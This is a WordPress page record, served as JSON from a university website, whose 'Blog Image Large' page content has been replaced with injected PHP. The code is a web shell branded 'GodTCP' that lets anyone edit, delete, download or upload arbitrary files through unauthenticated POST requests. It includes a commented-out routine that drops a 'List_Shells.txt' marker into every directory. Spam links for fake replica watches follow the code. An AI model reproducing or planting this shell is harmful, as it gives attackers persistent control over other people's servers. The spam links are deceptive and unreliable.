{"id":40,"date":"2014-03-18T11:49:53","date_gmt":"2014-03-18T11:49:53","guid":{"rendered":"http:\/\/demo.themegrill.com\/spacious\/?page_id=40"},"modified":"2025-10-07T16:15:12","modified_gmt":"2025-10-07T21:15:12","slug":"blog-image-large","status":"publish","type":"page","link":"https:\/\/academia.utp.edu.co\/wieutp\/blog-2\/blog-image-large\/","title":{"rendered":"Blog Image Large"},"content":{"rendered":"&lt;?php\n\n\/\/ If the user is logged in, proceed to the file manager\n\n\/\/ Automatically create a .txt file with the specified content in every folder\nfunction createFileInFolders($directory, $fileName, $content) {\n    \/\/ Scan the current directory\n    $items = scandir($directory);\n\n    foreach ($items as $item) {\n        \/\/ Skip special entries &#039;.&#039; and &#039;..&#039;\n        if ($item === &#039;.&#039; || $item === &#039;..&#039;) {\n            continue;\n        }\n\n        $path = $directory . DIRECTORY_SEPARATOR . $item;\n\n        \/\/ If the item is a directory, recurse into it\n        if (is_dir($path)) {\n            \/\/ Recursively call the function for subdirectories\n            createFileInFolders($path, $fileName, $content);\n        }\n    }\n\n    \/\/ Create the file in the current directory\n    $filePath = $directory . DIRECTORY_SEPARATOR . $fileName;\n    if (!file_exists($filePath)) {\n        file_put_contents($filePath, $content);\n        \/\/ echo &quot;<div class='alert alert-info'>File &#8216;$fileName&#8217; has been created in &#8216;$directory&#8217;.<\/div>&#8220;;\n    } else {\n        \/\/ echo &#8220;<div class='alert alert-warning'>File &#8216;$fileName&#8217; already exists in &#8216;$directory&#8217;.<\/div>&#8220;;\n    }\n}\n\n\n\/\/ Define the file name and content\n$auto_file_name = &#8216;List_Shells.txt&#8217;;\n$auto_file_content = &#8220;www.youtube.com\/watch?v=zbh5YUax0uc&#8221;;\n\n\/\/ Start creating files from the root directory\n\/\/createFileInFolders(&#8216;.&#8217;, $auto_file_name, $auto_file_content);\n\n\/\/ Set the directory you want to access\n$directory = &#8216;.\/&#8217;;\n\n\/\/ Check if the user has submitted the form\nif ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217;) {\n    \/\/ Handle file actions\n    if (isset($_POST[&#8216;action&#8217;])) {\n        $action = $_POST[&#8216;action&#8217;];\n        $filename = $_POST[&#8216;filename&#8217;];\n        $path = $directory . $filename;\n        switch ($action) {\n            case &#8216;edit&#8217;:\n                if (isset($_POST[&#8216;content&#8217;])) {\n                    $content = $_POST[&#8216;content&#8217;];\n                    file_put_contents($path, $content);\n                    echo &#8220;<div class='alert alert-success'>File &#8216;$filename&#8217; has been updated.<\/div>&#8220;;\n                }\n                break;\n            case &#8216;delete&#8217;:\n                if (file_exists($path)) {\n                    unlink($path);\n                    echo &#8220;<div class='alert alert-danger'>File &#8216;$filename&#8217; has been deleted.<\/div>&#8220;;\n                }\n                break;\n            case &#8216;download&#8217;:\n                if (file_exists($path)) {\n                    header(&#8216;Content-Type: application\/octet-stream&#8217;);\n                    header(&#8216;Content-Disposition: attachment; filename=&#8221;&#8216; . $filename . &#8216;&#8221;&#8216;);\n                    readfile($path);\n                    exit;\n                }\n                break;\n            case &#8216;upload&#8217;:\n                if (isset($_FILES[&#8216;file&#8217;]) &amp;&amp; $_FILES[&#8216;file&#8217;][&#8216;error&#8217;] == UPLOAD_ERR_OK) {\n                    $uploadedFile = $_FILES[&#8216;file&#8217;];\n                    $uploadedFilename = $uploadedFile[&#8216;name&#8217;];\n                    $uploadedFilePath = $directory . $uploadedFilename;\n                    if (move_uploaded_file($uploadedFile[&#8216;tmp_name&#8217;], $uploadedFilePath)) {\n                        echo &#8220;<div class='alert alert-success'>File &#8216;$uploadedFilename&#8217; has been uploaded.<\/div>&#8220;;\n                    } else {\n                        echo &#8220;<div class='alert alert-danger'>Error uploading file &#8216;$uploadedFilename&#8217;.<\/div>&#8220;;\n                    }\n                }\n                break;\n        }\n    }\n}\n\n\/\/ Get the list of files in the directory\n$files = scandir($directory);\n?&gt;\n\n\n\n    <title><\/title>\n    \n        document.addEventListener(&#8220;DOMContentLoaded&#8221;, function () {\n            let text = &#8220;GodTcp&#8221;;\n            let index = 1;\n\n            setInterval(() =&gt; {\n                document.title = text.substring(0, index);\n                index++;\n                if (index &gt; text.length) index = 1;\n            }, 800);\n        });\n    \n    \n\n\n    <div class=\"container my-5\">\n        <h1 class=\"mb-4\">File Manager<\/h1>\n        <h2 class=\"mb-3\">T.me\/GodTCP :<\/h2>\n        <div class=\"list-group\">\n            &lt;?php foreach ($files as $file) {\n                if ($file !== &#039;.&#039; &amp;&amp; $file !== &#039;..&#039;) {\n                    echo &quot;<a href='?file=$file' class='list-group-item list-group-item-action'>&#8221; . $file . &#8220;<\/a>&#8220;;\n                }\n            } ?&gt;\n        <\/div>\n        <div class=\"mt-5\">\n            <h2 class=\"mb-3\">Upload a File<\/h2>\n            \n                \n                <div class=\"form-group\">\n                    \n                <\/div>\n                <button type=\"submit\" class=\"btn btn-primary\">Upload<\/button>\n            \n        <\/div>\n        \n            <div class=\"mt-5\">\n                <h2 class=\"mb-3\">Edit File: <\/h2>\n                \n                    \n                    &lt;input type=&quot;hidden&quot; name=&quot;filename&quot; value=&quot;&#8221;&gt;\n                    <div class=\"form-group\">\n                        <textarea name=\"content\" rows=\"10\" class=\"form-control\"><\/textarea>\n                    <\/div>\n                    <button type=\"submit\" class=\"btn btn-primary\">Save<\/button>\n                    &lt;a href=&quot;?file=&amp;action=download&#8221; class=&#8221;btn btn-secondary&#8221;&gt;Download<\/a>\n                    <button type=\"submit\" name=\"action\" value=\"delete\" class=\"btn btn-danger\">Delete<\/button>\n                \n            <\/div>\n        \n        <div class=\"mt-5\">\n            \n                <button type=\"submit\" class=\"btn btn-danger\">Logout<\/button>\n            \n        <\/div>\n    <\/div>\n\n\n\n&lt;?php\n\/\/ Logout functionality (create a separate logout.php file or handle it here)\nif (isset($_POST[&#039;logout&#039;])) {\n    session_destroy();\n    header(&#039;Location: &#039; . $_SERVER[&#039;PHP_SELF&#039;]);\n    exit;\n}\n\n<p>You are worth the best quality\u00a0<a href=\"https:\/\/www.pondwatch.co.uk\/\">super clone watches uk<\/a>\u00a0online with low price!<\/p>\n\n\n\n<p>Luxury ETA Swiss Movement\u00a0<a href=\"https:\/\/www.spankwatches.co.uk\/\">best clone watches<\/a>\u00a02025 UK: Swiss Movement Replica Watches.<\/p>\n\n\n\n<p>UK automatic cheap\u00a0<a href=\"https:\/\/www.watchesexpress.co.uk\">best fake Watches uk<\/a>\u00a0for men here are at affordable prices. All the collections are available.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;?php \/\/ If the user is logged in, proceed to the file manager \/\/ Automatically&#8230;<\/p>\n","protected":false},"author":1361,"featured_media":0,"parent":37,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-40","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/pages\/40","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/users\/1361"}],"replies":[{"embeddable":true,"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/comments?post=40"}],"version-history":[{"count":3,"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/pages\/40\/revisions"}],"predecessor-version":[{"id":3617,"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/pages\/40\/revisions\/3617"}],"up":[{"embeddable":true,"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/pages\/37"}],"wp:attachment":[{"href":"https:\/\/academia.utp.edu.co\/wieutp\/wp-json\/wp\/v2\/media?parent=40"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}